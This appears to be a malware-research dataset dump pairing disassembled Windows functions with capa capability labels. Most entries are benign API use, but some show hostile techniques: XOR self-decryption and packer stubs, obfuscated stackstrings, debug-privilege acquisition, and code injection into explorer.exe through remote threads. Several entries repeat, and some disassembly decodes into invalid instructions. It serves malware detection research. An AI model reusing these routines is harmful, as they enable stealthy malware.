joyce8/EMBER2024-capa huggingface dataset:
Function at 0x77d1c562
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
cmp dword [0x77d346e8], ebx
je 0x77d1c57a
xor eax, eax
inc eax
jmp 0x77d1c5c4
push 0x77d2a76c
call dword [sym.imp.ntdll.dll_RtlEnterCriticalSection]
cmp dword [0x77d346e8], ebx
jne 0x77d1c575
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x77d34744], eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edi, 0x3e8
push edi
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
cmp eax, ebx
mov dword [0x77d2a764], eax
jne 0x77d1c5c7
mov dword [0x77d2a768], ebx
xor eax, eax
pop edi
pop ebx
leave
ret
push esi
push 0x28
push 0x77d1c6bc
mov esi, 0x77d1c6ac
push esi
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
push edi
push dword [0x77d2a764]
mov dword [0x77d2a760], eax
push 0x77cef810
push 0x77d1c6a0
push esi
call dword [sym.imp.KERNEL32.dll_GetProfileStringA]
mov eax, dword [0x77d2a764]
cmp byte [eax], bl
pop esi
jne 0x77d1c61c
push eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov dword [0x77d2a764], ebx
call fcn.77d1c442
test eax, eax
jne 0x77d1c63a
mov dword [0x77d2a768], ebx
push 0x77d2a76c
call dword [sym.imp.ntdll.dll_RtlLeaveCriticalSection]
mov eax, ebx
jmp 0x77d1c5c3
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [ebp - 0x24]
dec eax
je 0x77d1c675
dec eax
je 0x77d1c669
dec eax
je 0x77d1c65d
mov dword [0x77d34740], 0x14c
jmp 0x77d1c67f
mov dword [0x77d34740], 0x1f0
jmp 0x77d1c67f
mov dword [0x77d34740], 0x184
jmp 0x77d1c67f
mov dword [0x77d34740], 0x166
push ebx
push dword [0x77d2a764]
push dword [0x77d34744]
call dword [0x77d346cc]
xor eax, eax
inc eax
mov dword [0x77d346e8], eax
mov ebx, eax
jmp 0x77d1c62b

Function at 0x77d1ca7c
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.ntdll.dll_NtEnumerateValueKey]
push edi
mov edi, dword [ebp + 0x10]
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x14]
push edi
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
cmp dword [ebp + 0x18], 0
mov ebx, eax
je 0x77d1cb00
cmp ebx, 0x80000005
jne 0x77d1cb00
mov eax, dword fs:[0x18]
push dword [ebp + 0x10]
mov eax, dword [eax + 0x30]
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov edi, eax
test edi, edi
jne 0x77d1cad3
mov eax, 0xc0000017
jmp 0x77d1cb0f
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push edi
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
mov ebx, eax
test ebx, ebx
jge 0x77d1cb04
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push edi
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
test ebx, ebx
jl 0x77d1cb0d
mov eax, dword [ebp + 0x18]
test eax, eax
je 0x77d1cb0d
mov dword [eax], edi
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x77d1cb1b
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [ebp + 0x1c]
mov eax, dword [esi]
push eax
push dword [ebp + 0x18]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
je 0x77d1cb4d
mov eax, 0xc0000005
jmp 0x77d1cca1
mov eax, dword [ebp + 0x14]
mov ecx, dword fs:[0x18]
shl eax, 4
add eax, dword [esi]
push edi
push eax
mov dword [ebp - 0x14], eax
mov eax, dword [ecx + 0x30]
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov edi, eax
test edi, edi
jne 0x77d1cb7e
mov eax, 0xc0000017
jmp 0x77d1cca0
and dword [ebp - 0xc], ebx
cmp dword [ebp + 0x14], ebx
jbe 0x77d1cc5d
mov esi, dword [ebp + 0x10]
add esi, 8
mov eax, dword [ebp - 4]
add eax, 3
and eax, 0xfffffffc
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
add ebx, 3
push edi
push 2
push dword [esi - 8]
and ebx, 0xfffffffc
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtQueryValueKey]
test eax, eax
mov dword [ebp + 0x10], eax
jge 0x77d1cbf7
cmp eax, 0x80000005
je 0x77d1cbfd
cmp eax, 0xc0000034
jne 0x77d1cc61
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
push edi
push 2
push dword [esi - 8]
push dword [ebp + 0xc]
call dword [sym.imp.ntdll.dll_NtQueryValueKey]
test eax, eax
mov dword [ebp + 0x10], eax
jge 0x77d1cbf7
cmp eax, 0x80000005
je 0x77d1cbfd
jmp 0x77d1cc61
mov eax, dword [edi + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov eax, dword [edi + 8]
add eax, ecx
cmp eax, ecx
jb 0x77d1cc8f
cmp eax, dword [ebp - 0x18]
ja 0x77d1cc41
cmp dword [ebp - 0x10], 0
jne 0x77d1cc41
mov eax, dword [ebp - 8]
push eax
mov dword [esi - 4], eax
lea eax, [edi + 0xc]
push eax
mov eax, dword [ebp + 0x18]
mov dword [esi], ebx
mov ecx, dword [edi + 4]
add eax, ebx
push eax
mov dword [esi + 4], ecx
call sub.ntdll.dll_memcpy
mov eax, dword [edi + 8]
add esp, 0xc
add dword [ebp - 4], eax
jmp 0x77d1cc48
mov dword [ebp - 0x10], 1
add ebx, dword [ebp - 8]
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add esi, 0x10
cmp eax, dword [ebp + 0x14]
jb 0x77d1cb90
and dword [ebp + 0x10], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push edi
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, dword [ebp + 0x10]
test eax, eax
jl 0x77d1cca0
cmp dword [ebp - 0x10], 0
mov ecx, dword [ebp + 0x20]
mov dword [ecx], ebx
je 0x77d1cc98
mov eax, 0x80000005
jmp 0x77d1cca0
mov dword [ebp + 0x10], 0xc0000017
jmp 0x77d1cc61
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x1c]
mov dword [edx], ecx
pop edi
pop esi
pop ebx
leave
ret 0x1c
Function at 0x77d2025b
Capabilities:
Get hostname

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x10]
push ebx
xor ebx, ebx
cmp eax, ebx
push esi
push edi
mov dword [ebp - 8], ebx
mov byte [ebp - 1], 1
jne 0x77d20296
mov dword [ebp - 8], 0x57
push ebx
push 0xa81
push 0x77cf058c
call fcn.77ca972d
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 0xc
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [eax], ebx
mov eax, dword [ebp + 8]
cmp eax, ebx
je 0x77d202aa
cmp word [eax], bx
jne 0x77d202b1
mov eax, 0x105
jmp 0x77d202b8
push eax
call edi
inc eax
mov byte [ebp - 1], bl
add eax, 7
and eax, 0xfffffff8
lea eax, [eax + eax + 0x2c]
push eax
push 0xa61
push 0x77cf058c
call fcn.77ca96e5
mov esi, eax
cmp esi, ebx
je 0x77d20350
xor eax, eax
cmp byte [ebp + 0xc], bl
sete al
or dword [esi + 0x10], eax
call fcn.77cc799f
cmp byte [ebp - 1], bl
mov dword [esi + 0x14], eax
lea eax, [esi + 0x2c]
mov dword [esi + 8], ebx
mov dword [esi + 4], eax
jne 0x77d2030d
push dword [ebp + 8]
push dword [ebp + 8]
call edi
inc eax
push eax
push dword [esi + 4]
call fcn.77cac425
jmp 0x77d2031f
lea ecx, [ebp + 0xc]
push ecx
push eax
mov dword [ebp + 0xc], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp eax, ebx
mov dword [esi], eax
jne 0x77d2035c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push 0xa72
push 0x77cf058c
mov dword [ebp - 8], eax
call fcn.77ca972d
cmp dword [ebp - 8], ebx
jne 0x77d2027c
mov dword [ebp - 8], 0xe
jmp 0x77d2027c
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
jmp 0x77d2028c

Function at 0x77d20927
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x77d260c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
xor edi, edi
push edi
lea ecx, [ebp - 0x414]
push ecx
push 0x208
push edi
push eax
push edi
mov word [ebp - 0x414], di
call dword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
jbe 0x77d209d2
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x77d209d2
push edi
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x77d209c1
lea eax, [ebp - 0x418]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [ebp - 0x41c], eax
je 0x77d209c1
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x418]
mov dword [esi + 0xc], eax
jmp 0x77d209c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x77d209da
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.77cd6011
leave
ret 8
Function at 0x77d2118f
Capabilities:
Copy file
Delete file
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
add esi, 0x13
mov eax, esi
shl eax, 2
push eax
push 0x24d
push 0x77ca9f78
call fcn.77ca96e5
mov edi, eax
test edi, edi
je 0x77d21277
cmp dword [ebp + 0xc], 4
lea eax, [edi + esi*2]
push ebx
mov dword [ebp - 4], eax
jne 0x77d211e7
cmp byte [ebp + 0x14], 0
je 0x77d211df
mov ebx, dword [0x77d26118]
jmp 0x77d211f9
mov ebx, dword [0x77d26100]
jmp 0x77d211f9
cmp byte [ebp + 0x14], 0
mov ebx, dword [0x77d260ec]
jne 0x77d211f9
mov ebx, dword [0x77d2615c]
push ebx
push dword [ebp + 8]
push 0x77d212a8
push esi
push edi
call fcn.77cac57c
add esp, 0x14
cmp dword [ebp + 0x10], 0
je 0x77d2124e
cmp byte [ebp + 0x14], 0
mov eax, dword [0x77d260f8]
jne 0x77d21222
mov eax, dword [0x77d260fc]
push dword [0x77d26138]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
push 0x77ca9fc4
push esi
push dword [ebp - 4]
call fcn.77cac57c
add esp, 0x1c
push 0
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp 0x77d21276
push ebx
push dword [ebp + 8]
push 0x77d21290
push esi
push dword [ebp - 4]
call fcn.77cac57c
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
pop ebx
push edi
push 0x269
push 0x77ca9f78
call fcn.77ca972d
pop edi
pop esi
leave
ret 0x10
Function at 0x8f21b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.008f2140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.008f2140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.008f2140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.008f2140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x8f2bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x8f2c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x90487c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x8f2c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x8f2c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401389
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4013af
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.004010c1
invalid

Function at 0x40140b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call dword [eax + 0x56]
push dword [ebp + 8]
call fcn.00401086
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.004010c1
popal
test eax, 0x458d77d8
call 0x512871b7
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.004010d1
push eax
push esi
push dword [ebp + 8]
call fcn.00401086
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004010d1
push eax
push esi
push dword [ebp + 8]
call fcn.00401086
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004010d1
push eax
push esi
push dword [ebp + 8]
call fcn.00401086
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004010c1
or byte [edi - 0x6277d932], dl
jl 0x401546
invalid
invalid
Function at 0x4064e8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x40650c
xor eax, eax
test eax, eax
je 0x40651f
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40651f
xor ecx, ecx
jmp 0x406522
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401440
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x48], 0x44
push 0x40
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.00402360
add esp, 0xc
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x48]
push edx
push 0
push 0
push 0x8000044
push 0
push 0
push 0
push str.explorer.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401496
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x58]
jmp 0x401498
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4014b0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x411080]
xor eax, ebp
mov dword [ebp - 0xc], eax
call fcn.00401440
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jne 0x4014de
xor eax, eax
jmp 0x4016bf
push 0x40
push 0x3000
push 0x198
push 0
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jne 0x40151c
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4016bf
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x134]
add edx, 0x80
mov dword [ebp - 0x190], edx
push 0x40d314
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x128], eax
push 0x40d308
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x124], eax
push 0x40d2fc
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x11c], eax
push 0x40d2f0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x120], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x12c], eax
push 2
push 0
push 0
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x104
lea edx, [ebp - 0x114]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 0x4013f0
call fcn.004014a0
add esp, 4
push eax
mov eax, dword [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x118
lea edx, [ebp - 0x128]
push edx
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dl, byte [0x40d2e1]
mov byte [ebp - 0x188], dl
push 0x4f
push 0
lea eax, [ebp - 0x187]
push eax
call fcn.00402360
add esp, 0xc
mov ecx, dword [ebp - 0x190]
push ecx
mov edx, dword [ebp - 0x134]
push edx
push str._x__x_n
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x188]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
je 0x4016ba
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0040234b
mov esp, ebp
pop ebp
ret

Function at 0x40234b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411080]
jne 0x402355
repz ret
jmp fcn.00405021
Function at 0x40a079
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x411080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405315
and dword [ebp - 0x14], 0
cmp dword [0x41308c], 0
mov dword [ebp - 0x18], eax
jne 0x40a12c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40a1d4
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40a1d4
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41308c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x413090], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x413094], eax
call edi
push eax
call esi
mov dword [0x41309c], eax
test eax, eax
je 0x40a12c
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x413098], eax
mov eax, dword [0x413098]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40a185
cmp dword [0x41309c], ecx
je 0x40a185
push eax
call esi
push dword [0x41309c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40a185
test ebx, ebx
je 0x40a185
call edi
test eax, eax
je 0x40a17c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40a17c
test byte [ebp - 8], 1
jne 0x40a185
or dword [ebp + 0x10], 0x200000
jmp 0x40a1b8
mov eax, dword [0x413090]
cmp eax, dword [ebp - 0x18]
je 0x40a1b8
push eax
call esi
test eax, eax
je 0x40a1b8
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40a1b8
mov eax, dword [0x413094]
cmp eax, dword [ebp - 0x18]
je 0x40a1b8
push eax
call esi
test eax, eax
je 0x40a1b8
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41308c]
call esi
test eax, eax
je 0x40a1d4
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40a1d6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040234b
leave
ret